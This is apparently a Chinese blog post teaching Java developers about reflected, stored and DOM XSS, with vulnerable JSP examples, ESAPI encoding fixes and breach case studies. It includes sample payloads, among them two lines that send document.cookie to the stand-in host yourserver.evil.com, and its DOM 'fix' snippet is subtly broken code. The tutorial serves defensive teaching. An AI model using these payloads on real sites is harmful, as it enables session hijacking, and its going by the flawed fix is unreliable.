面向 JAVA 开发人员的 XSS(跨站点脚本)入门

跨站点脚本 (XSS) 攻击是针对受害者浏览器的恶意攻击。它注入攻击者创建的恶意脚本以窃取凭据、劫持用户会话或尝试在受害者的计算机上下载和安装其他恶意软件。它是网络上最常见的攻击之一。 来自浏览器的任何输入机制(包括表单和 URL 参数)都可用于插入有效负载,然后可以将其传输回浏览器。来自浏览器的任何输入都必须被视为潜在恶意。您可以使用 Reshift 免费扫描您的项目,以查找任何可能的跨站点脚本漏洞。 

XSS 影响

成功的跨站点脚本 (XSS) 攻击对基于 Web 的应用程序造成的若干影响。

这些包括:

  • 帐户劫持
  • 凭证收集
  • 远程命令执行
  • 敏感数据的暴露
  • 安装恶意软件

帐户劫持

这是 XSS 攻击的最坏结果。在这种情况下,XSS 攻击可以捕获用户会话 cookie,从而允许攻击者接管用户会话。一旦攻击者拥有会话,他们就可以更改有效用户可以做的任何事情,包括更改用户的帐户凭据以阻止所有者获得访问权限。或者,攻击者可以在用户不知情的情况下窃取甚至更改用户的数据。6

远程命令执行 (RCE)

远程命令执行 (RCE) 或命令注入是一种攻击,远程攻击者可以调用系统级命令。在这种情况下,代表用户执行的脚本的 XSS 交付然后可以根据支持框架(例如,将 PHP Backdoor 注入 WordPress)注入后门代码。13

凭证收集

另一种常用的 XSS 攻击机制会安装一个脚本,将毫无戒心的用户重定向到另一个站点,该站点似乎是他们所在站点的登录页面。只有经过仔细检查,用户才能确定他们正在查看的页面托管在攻击托管的站点上,并且看起来像他们所在的站点。进入恶意副本后,系统会提示用户输入其凭据。一旦受害者的凭据被获取,攻击者就可以登录用户的帐户、更改密码以及更改或公开敏感数据。12

敏感数据的暴露

一旦帐户被入侵,攻击者就拥有普通用户拥有的所有权限,包括访问他们的所有数据。根据敏感度,数据可能会出售给竞争对手、用于影响市场价格或在所有者不知情的情况下进行修改。

安装恶意软件

一旦攻击者控制了受害者的浏览器,安装恶意软件可能会出现多种情况。这些包括将受害者的计算机变成僵尸网络的奴隶,扫描受害者的网络,安装一个键盘记录器来记录每个键入的键,或者使计算机被用作进一步攻击的启动点

在 Java 中测试 XSS

开发人员对 XSS 的测试可以在开发期间执行,并且可以从黑盒(使用该功能)和白盒(审查代码)的角度进行。开发人员更加关注白盒。

开发人员测试可以包括:

  • 代码审查
  • 使用自动和手动辅助静态代码分析工具(查看reshift
  • 识别不受信任的输入源
  • 识别从不受信任的来源到消费端点(接收器)的数据流
  • 确保从源到汇进行验证
  • 确保在传输到浏览器之前对来自不受信任来源的任何数据进行编码/转义

识别不受信任的输入

来自浏览器/客户端的任何内容都必须被视为不受信任,包括参数值、参数名称和 HTTP 标头。

输入参数值

经典的 XSS 攻击案例是输入的 HTTP 参数值由服务器处理、存储,然后在没有输入验证或输出编码/转义的情况下反射回浏览器客户端。

Java 特定的 XSS 示例

  • 服务器接收参数并返回 HTTP 请求的参数,并在响应的 HTML 中呈现。输入未验证,输出未编码或转义。

  • 预期的有效请求:

http://mysite.com?username=johnsmith
  • 恶意攻击: 
http://mysite.com?username=</div><script>alert(document.cookie)</script>
  • 如果服务器直接在页面中渲染请求:
<html>
<head>
 <title>欢迎使用我们的 Web 应用程序</title>
</head>
<body>
<div>欢迎 <%= request.getParameter("username")%></div>
</body>
</html>
  • 如果服务器直接在页面中渲染请求:
<html>
<head>
 <title>欢迎使用我们的 Web 应用程序</title>
</head>
<body>
<div>欢迎 <%= request.getParameter("username")%></div>
</body>
</html>
  • 结果显示会话 cookie,表明该站点易受攻击。

  • 真正的攻击可以提供备用有效负载,通过将请求作为参数包含到另一台服务器来泄露会话 cookie,例如:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

或者

<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://yourserver.evil.com/?'+document.cookie>
  • 为了在 HTML 上下文中纠正这种反射型 XSS 攻击,我们的代码必须执行两件事。
    • 第一次输入验证(对于有效的用户名)和
    • 其次,在呈现它的上下文中显示之前,对这个不受信任的源进行编码。
  • 要执行输入验证,
    • 确定所有用户名必须遵守的预期字符。字符集,大写,小写,数字。确定强制格式并添加代码以确保提供的用户名与该格式匹配
      • 例如 /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/,假设用户名只能包含 ASCII 字母和数字,连字符、下划线和空格作为内部分隔符
    • 如果输入的格式有效,请确认系统中存在使用该用户名的用户?
  • 最后,在文档中呈现之前对输入进行编码,下面显示了 HTML 上下文的编码:
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
<div>Welcome <%= ESAPI.encoder().encodeForHTML(request.getParameter("username")) %></div>
</body>
</html>

存储型 XSS

  • 攻击载荷作为不受信任的输入提供,与反射 XSS 相同,但是服务器将攻击载荷存储在其后端数据库中
  • 例如,如果网站在 Web 表单中有评论部分怎么办。当用户单击提交时,HTML 可能如下所示:
POST /article/comment HTTP/1.1
Host: yourserver.com
Conent-length: 50

comment=I+like+your+website
  • 然后,每当访问者查看评论页面并构建呈现信息的页面时,服务器都会检索此评论。
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
  <div class="comment">I like your website</div>
</body>
</html>
  • 但是,如果攻击者提供此评论怎么办:
POST /article/comment HTTP/1.1
Host: yourserver.com
Conent-length: 50

comment=%3C%2Fdiv%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
  • 这将呈现为:
<html>
<head>
  <title>Welcome to Our Web Application</title>
</head>
<body>
  <div class="comment"></div><script>alert(document.cookie)</script>
</body>
</html>
  • 浏览此评论的任何用户都会在他们的浏览器中运行该脚本
  • 为了在 HTML 上下文中纠正这种存储型 XSS 攻击,我们的代码必须执行两件事。
    • 第一次输入验证(对于有效的用户名)和
    • 其次,在呈现它的上下文中显示之前,对这个不受信任的源进行编码。
  • 要执行输入验证,
    • 确定您的输入必须遵守的预期字符。字符集,大写,小写,数字。确定强制格式并添加代码以确保提供的用户名与该格式匹配
      • 例如 /^[A-Za-z0-9]+(?:[ _-][A-Za-z0-9]+)*$/ ,假设评论只能包含 ASCII 字母和数字,连字符、下划线和空格作为内部分隔符
  • 最后,在文档中呈现之前对输入进行编码,下面显示了 HTML 上下文的编码
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {

  String comment = req.getParameter("comment");
  String encoded = ESAPI.encoder().encodeForHTML(comment);
   ..
}

DOM XSS

  • 在 DOM XSS 中,恶意内容通过修改浏览器的文档对象模型 (DOM) 环境中的内容来攻击受害者浏览器中的有效脚本。

  • 例如,也许有一个页面:

Choose your Region:
<select>
  <script>
    document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
    document.write("<OPTION value=2>EU</OPTION>");
  </script>
</select>
  • 普通用户可以输入预期值,例如:

http://www.thissite.com/page.html?default=APAC

  • 但是攻击者可以创建以下 URL 并将其发送给受害者并附上令人信服的消息:

http://www.thissite.com//page.html?default=<script>alert(document.cookie)</script>

  • 与页面关联的脚本直接渲染攻击

  • 为了纠正 HTML 上下文中的 DOM XSS 攻击,我们的代码必须执行两件事。

    • 第一次输入验证(对于有效的用户名)和
    • 其次,在将其显示在渲染的上下文中之前,对这个不受信任的源进行编码。
  • 要执行输入验证,

    • 确定您的输入必须遵守的预期字符。字符集、大写、小写、数字等。确定强制格式并添加代码以确保提供的输入与该格式匹配
      • 例如,在这种情况下,期望是世界的特定区域,“EU”、“NA”、“SA”、“APAC”。在这种情况下,确保输入与有限列表匹配是微不足道的。
  • 最后,必须针对目标环境对不受信任的输入进行适当编码。由于这是一个影响 DOM 的目标,因此在插入 HTML 上下文之前,您必须 HTML Escape 和 JavaScript 转义不受信任的数据。29

<script>
  document.write("<OPTION value=1>"+document.location.href.substring (DefaultEncoder.encodeForJavascript(DefaultEncoder.encodeForHTML(document.location.href.indexOf("default=")+8))+"</OPTION>");
  document.write("<OPTION value=2>EU</OPTION>");
</script>

在 Java 中预防和修复 XSS

修复和防止跨站脚本 (XSS) 攻击的通用最佳实践可以分为几类。类别不是非此即彼的解决方案,并且可以重叠以实现全面的深度防御。类别是:

  • 输入验证
  • 输出编码/转义
  • 内容安全政策
  • 安全标头
  • 使用现代 JS 前端
  • HTTPOnly Cookie 属性

输入验证

输入验证可用于防止多种不同的 Web 应用程序恶意攻击,包括 XSS。16 将所有外部输入视为不受信任,并验证接收到的数据是否已针对 已知良好语法和语义的白名单18进行测试。白名单优于黑名单。黑名单试图删除“已知的坏”字符(<、> 等),并且通常可以被顽固的有经验的攻击者破坏。正则表达式通常用于执行输入验证。

输出编码/转义

编码按照规则系统将数据从一种形式转换为另一种形式。 22 . 我们希望将 "dangerous characters" 可用于 XSS 攻击载荷的内容转换为安全的等价物。为了提供帮助,现有的安全编码项目专注于正确使用并避免与特定浏览器实现和晦涩的 javascript 规则相关的隐藏陷阱。

  • OWASP Java 编码器项目24
  • Microsoft 反跨站点脚本库23  ,它是 MS Web 保护库的一部分,
  • .NET 库 HTMLSanitizer 25 ](../References/Business-en.md)

应该避免创建自己的库,因为有许多与浏览器使用编码相关的复杂和深奥的规则,非专家可能会错过这些规则,这可能会导致漏洞。

请注意,根据数据插入响应页面的位置,正确的编码和转义是不同的。不同的上下文是:

  • HTML 上下文
    • 在普通 HTML 标记(例如 div)之间插入来自不受信任来源的数据
    • HTML 转义 &、<、>、“、' 和 /
  • HTML 简单属性上下文
    • 这种情况是指将来自不受信任的来源的数据插入到 HTML 标记的“简单”或“通用”属性中。这些不适用于下面列出的属性(如事件处理程序、src、href)
    • 确保所有属性都被引用(例如 name=”content”),因为没有引号的属性使攻击者更容易在页面中插入他们自己的 HTML(突破 HTML 上下文)
    • 对不受信任的数据进行编码,例如,使用 ESAPI encodeForHTMLAttribute 对给定的字符串进行编码,以便在 HTML 属性中使用安全输出28
  • HTML 事件处理程序上下文
    • 切勿将不受信任的数据放在事件处理程序中(例如,onmouseover)。尽管 HTML 编码可以防止 HTML 上下文中断,但 javascript 引擎仍将执行内容。
    • <script> javascript 在使用对象或事件属性(例如 onerror)渲染之前转义不受信任的内容 
    • 咨询 OWASP Java Encoder JavaScript
  • HTML URL 上下文(例如,href、src)
    • 确保协议和目标以预期的协议和目标为目标。避免插入包含 javascript 作为协议 (javascript://something.com) 的不受信任的 URL。没有合理的方法来防止攻击加载意外的源
    • 确保 href 属性被引用(例如 href=" http://example.com "),因为没有引号的属性使攻击者更容易在页面中插入他们自己的 HTML(突破 HTML 上下文)
    • 确保针对 HTML 属性上下文对不受信任的源数据进行编码
  • CSS 上下文
    • 确保不受信任的输入只能用于属性值,而不是像 -moz-binding、url 和 behavior 这样的属性
    • 确保属性是不使用“javascript”协议的 URL
    • 确保属性不以“表达式”开头
    • 使用 CSS 转义例如 encodeForCSS28
  • JavaScript 上下文
    • 确保来自不受信任来源的数据仅放置在引用的数据值中。
    • 有一些 javascript 函数不能安全地使用不受信任的数据,例如 window.setInterval
    • 使用编码库,例如 ESAPI  encodeForJavaScript28

内容安全政策

内容安全策略 (CSP) 是一种基于浏览器的机制,可以为 Web 应用程序中的所有内容定义白名单。CSP 规则使用定义的 HTTP 标头(称为 Content-Security-Policy26 27  CSP 可以强制执行某些资源的来源,例如,拥有已知可信资源位置的来源白名单。

安全标头

许多现代网络浏览器都有某种形式的 XSS 检测。X-XSS-Protection 响应头指示兼容的 浏览器21 启用该功能。由于默认情况下通常启用此标头,因此在用户或其他攻击禁用此功能的情况下,此标头可让服务器控制。20

使用现代 JS 前端框架

Angular 和 React 等现代 JavaScript 前端框架提供了一些开箱即用的 XSS 保护。例如,ReactJS 字符串会自动转义,而 JSX 允许您将函数作为事件处理程序而不是字符串传递。但是也有一些陷阱,就像危险的SetInnerHTML一样,你应该避免使用.s

HTTPOnly Cookie 属性

XSS 攻击的目标之一是劫持用户的会话,从而控制用户的帐户。许多系统使用 HTTP Cookie 来管理将成为 XSS 攻击目标的用户会话。Set-Cookie HTTP 标头的 HTTPOnly 属性指示浏览器不允许发送到浏览器的脚本读取会话 cookie。19

获取 IntelliJ 插件

面临 XSS 攻击的公司

eBay XSS 攻击

eBay拍卖网站通过XSS漏洞暴露用户账户。XSS 漏洞使恶意脚本能够通过描述字段传送到受害者的浏览器,这会将他们的浏览器重定向到攻击者创建的凭据收集站点(由攻击托管的站点,并且看起来像 EBay 站点),这会提示他们登录。

英国航空

英国航空公司的在线支付系统遭遇重大漏洞,影响了 380,000 名使用其移动和网站系统的客户。该攻击在 2018 年 8 月 21 日至 9 月 5 日期间暴露了客户姓名、地址和所有银行卡详细信息。XSS 漏洞使攻击者能够注入脚本以窃取敏感信息。因此,英航面临 GDPR 立法带来的 2.2 亿美元罚款,创下当时的记录。此外,英航还面临着不可避免且广受欢迎的 6.5 亿美元集体诉讼。

参考

暗读:数据泄露成本,时间就是金钱
Price Waterhouse Cooper:消费者情报系列:Protect.me
World Pay:数据泄露的后果如何威胁小企业
Varonis 博客:数据泄露后分析公司声誉:Varonis
Dionach 博客:跨站点脚本编写的真正影响
OWASP:跨站点脚本编写
绊线:IBM 研究表明数据泄露成本正在上升
多边形:针对被黑 Fortnite 帐户的集体诉讼遭遇史诗般的打击
福布斯:Equifax 安全失败简史
F5实验室:随着诉讼的流行,违约成本正在上升
CSO Online:迄今为止最大的数据泄露罚款、处罚和和解
信息安全:跨站点脚本攻击后 eBay 受到攻击
注册:不要成为 WordPress RCE 漏洞并修补此 XSS 漏洞
OWASP:审查跨站代码站点脚本
备忘单系列:跨站点脚本预防
OWASP:跨站点脚本测试备忘
单系列:输入验证
OWASP:HttpOnly
Mozilla:X-XSS-Protection
我可以使用:我可以使用... HTML5、CSS3 等的支持表
OWASP:Java 编码器项目
GitHub Mganss/HtmlSanitizer: HtmlSanitizer
内容安全: 内容安全策略参考备忘
单系列: 内容安全策略参考
Java 文档: ESAPI Javadocs
GitHub OWASP 备忘单: 基于 DOM 的 XSS 预防备忘单

谢谢阅读

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值